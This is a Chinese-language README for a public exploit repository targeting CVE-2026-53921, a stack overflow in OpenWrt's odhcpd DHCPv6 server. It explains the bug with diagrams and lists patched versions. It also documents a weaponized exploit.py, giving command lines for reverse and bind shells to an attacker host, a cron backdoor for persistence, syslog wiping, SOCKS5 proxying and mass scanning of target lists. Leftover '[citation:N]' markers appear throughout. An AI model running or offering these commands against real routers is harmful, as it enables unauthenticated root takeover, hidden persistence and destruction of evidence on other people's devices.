CVE-2026-53921 – odhcpd 栈溢出(CVSS 9.8)🛡️ 漏洞详细全面的 Write-Up 及验证器与多漏洞利用,针对 OpenWrt DHCPv6 RCE。双向量(IA_NA/IA_PD)溢出,包含 MIPS/ARM shellcode、ROP 链、SOCKS5 代理、持久化、日志清理及批量扫描。请合乎道德地使用,保持合法。🔒

⚠️ 仅供教育和授权测试使用。未经授权使用属于违法行为。
CVE-2026-53921 是 OpenWrt 的 odhcpd 守护进程(默认的 DHCPv6/DHCPv4/RA 服务器)中的一个严重栈缓冲区溢出漏洞。
该漏洞存在于 odhcpd 的 DHCPv6 消息处理代码中,
尤其是在 build_ia() 和 dhcpv6_ia_handle_IAs() 函数内。
该缺陷发生在 DHCPv6 Reply 数据包的序列化(打包)过程中。当 odhcpd 响应客户端请求时,它会在一个固定大小为 512 字节 的栈缓冲区中构造回复,且没有进行适当的边界检查。
// Simplified representation of the vulnerable code
static void build_ia(struct dhcpv6_ia *ia, uint8_t *buf, size_t *len) {
// ❌ No bounds check before writing
memcpy(buf + *len, ia->data, ia->length);
*len += ia->length;
}
攻击者发送一个 DHCPv6 Request(或 Solicit)数据包,其中包含:
每个选项在 odhcpd 构建 Reply 时都会占用栈空间。累积的数据超过 512 字节,从而触发溢出。
向量 触发条件 溢出点
Site 1 5 个 IA_NA 选项 build_ia()(针对 IA_NA)
(带 IPv6 地址)
build_ia()(针对 IA_PD)根本原因相同,但溢出发生在不同的代码路径中,因此两种向量均可被利用。
Stack Layout (simplified):
+-------------------+ <-- High addresses
| Return Address | ← Overwritten with attacker-controlled value
+-------------------+
| Saved Frame Ptr |
+-------------------+
| Local Variables | ← 512-byte buffer
+-------------------+ <-- Low addresses
攻击者覆盖保存的返回地址,使其指向内存中的 shellcode。
要求 描述
网络访问 攻击者必须能够通过 IPv6 连接到目标
身份验证 无 —— 未认证攻击
权限 odhcpd 以 root 身份运行,因此 RCE 可获得完整的系统控制权
在实际利用中,攻击者的 shellcode 被放置在 IAAddress IPv6 地址字段中(每个 IA_NA 16 字节)。精心构造的数据包将 shellcode、NOP sled 和返回地址打包进这些字段。
Crafted IA_NA Structure:
+-------------------+
| IA_NA Header | (12 bytes)
+-------------------+
| IAAddress 1 | ← NOP sled + shellcode
+-------------------+
| IAAddress 2 | ← NOP sled + shellcode
+-------------------+
| IAAddress 3 | ← NOP sled + shellcode
+-------------------+
| IAAddress 4 | ← Return address
+-------------------+
| IAAddress 5 | ← Return address
+-------------------+
Crafted DHCPv6 Request
↓
odhcpd processes IA_NA/IA_PD options
↓
512-byte stack buffer overflows
↓
Return address overwritten
↓
CPU jumps to shellcode
↓
Reverse shell / Bind shell / RCE
↓
Full system compromise (root privileges)
Version Status RCE Possible?
odhcpd < e432dd6 存在漏洞 ✅ 是 OpenWrt < 24.10.8 存在漏洞 ✅ 是 OpenWrt < 25.12.5 存在漏洞 ✅ 是 OpenWrt 24.10.8+ 已修复 ❌ 否 OpenWrt 25.12.5+ 已修复 ❌ 否 odhcpd master + e432dd6 已修复 ❌ 否
该漏洞尤其危险,因为:
odhcpd 在 OpenWrt 安装上默认启用。| 组件 | 受影响版本 | 修复版本 |
|---|---|---|
odhcpd(master 分支) | 提交 e432dd6 之前 | e432dd6 或更高版本 |
| OpenWrt 发行版 | < 24.10.8 < 25.12.5 | 24.10.8 & 25.12.5 |
该仓库提供了两个独立脚本:
| 脚本 | 用途 | 利用代码 | 安全性 |
|---|---|---|---|
verifier.py | 非侵入式漏洞检测 | ❌ 否 | ✅ 安全 |
exploit.py | 完整武器化利用程序 | ✅ 是 | ⚠️ 危险 |
verifier.py – 漏洞检测器exploit.py – 完整利用程序IA_NA(Site1)和 IA_PD(Site2)。git clone https://github.com/tc4dy/CVE-2026-53921-PoC-Exploit
cd CVE-2026-53921-PoC-Exploit
pip install -r requirements.txt
#Note: Both scripts need root privileges to craft raw IPv6 packets.
sudo python3 verifier.py -u fe80::1%eth0 -i eth0
sudo python3 exploit.py -u fe80::1%eth0 -i eth0 --lhost 192.168.1.100 --lport 4444
verifier.py| 参数 | 说明 |
|---|---|
-u, --target | 目标 IPv6 地址(必填) |
-i, --iface | 网络接口(默认:eth0) |
exploit.pysudo python3 exploit.py -l targets.txt --scan-only --threads 10
### 2. Exploit a single target with bind shell
sudo python3 exploit.py -u fe80::1%eth0 --lhost 192.168.1.100 --payload bind --lport 31337
### 3. Use SOCKS5 proxy + persistence + log wiping
sudo python3 exploit.py -u fe80::1%eth0 --lhost 192.168.1.100 --proxy-host 127.0.0.1 --proxy-port 9050 --persistence --clear-logs
将 OpenWrt 升级到 24.10.8、25.12.5 或更高版本。
opkg update
opkg upgrade odhcpd
OpenWrt 安全公告(GHSA-7fwx-hhrg-3496) https://github.com/openwrt/odhcpd/security/advisories/GHSA-7fwx-hhrg-3496 涵盖 odhcpd 中两种溢出向量的详细公告。
CVE-2026-53921 NVD 条目 https://nvd.nist.gov/vuln/detail/CVE-2026-53921 NIST 官方漏洞数据库条目。
OpenWrt 24.10.8 发布说明 https://forum.openwrt.org/t/openwrt-24-10-8-service-release/252195 24.10 分支的官方发布公告。
OpenWrt 25.12.5 发布说明 https://lists.openwrt.org/pipermail/openwrt-announce/2026-June/000088.html 25.12 分支的官方发布公告。
24.10.8 和 25.12.5 版本修复了 CVE-2026-53921 之外的多个 odhcpd 漏洞 [citation:9]:
The Hacker News 分析 https://thehackernews.com/2026/07/critical-openwrt-dhcpv6-flaw-could-let.html 关于该漏洞和利用向量的详细技术拆解。 [citation:1]
GitHub PoC 仓库 https://github.com/0xBlackash/CVE-2026-53921 公开的概念验证实现和技术细节。 [citation:3]
25.12.5 版本还修复了其他核心组件中的漏洞 [citation:10]:
OpenWrt 固件选择器 https://firmware-selector.openwrt.org/ 为你的设备下载已修复的固件镜像。
CISA 已知被利用漏洞目录 https://www.cisa.gov/known-exploited-vulnerabilities-catalog 查看 CVE-2026-53921 是否已被加入 KEV(截至 2026 年 7 月 27 日,尚未列入)。 [citation:1]
| 参数 | 说明 |
|---|
-u, --target | 目标 IPv6 地址 |
-l, --list | 包含目标列表的文件 |
-i, --iface | 网络接口(默认:eth0) |
--lhost | 监听 IP(必填) |
--lport | 监听端口(默认:4444) |
--vector | site1、site2 或 both(默认:both) |
--offset | 栈偏移(默认:512) |
--ret | 十六进制返回地址(例如 0x7ffff000) |
--arch | 强制指定 mips 或 arm(省略时自动检测) |
--payload | reverse 或 bind(默认:reverse) |
--encode | none 或 xor(默认:none) |
--proxy-host | SOCKS5 代理 IP |
--proxy-port | SOCKS5 代理端口(默认:1080) |
--persistence | 安装 cron 后门 |
--clear-logs | 利用后清除 syslog |
--scan-only | 仅扫描目标,不进行利用 |
--threads | 扫描线程数(默认:5) |
--verbose | 详细日志输出 |
| CVE ID | 严重性 | 描述 |
|---|
| CVE-2026-53918 | 高危 | DHCPv6 IA 处理器中的释放后使用 [citation:4][citation:9] |
| CVE-2026-53920 | 高危 | 通过截断的 DHCPv6 IA_NA/IA_PD 选项泄露栈内存 [citation:9] |
| CVE-2026-53922 | 中危 | 通过 size_t 下溢实现未认证拒绝服务 [citation:9] |
| CVE-2026-55606 | 中危 | DUID 长度字节序不匹配导致栈缓冲区越界读取 [citation:9] |
| CVE-2026-62948 | - | DHCPv6 主机名注入导致存储型 XSS [citation:1] |
| CVE-2026-62947 | - | cgi-io 中的已认证路径遍历 [citation:1] |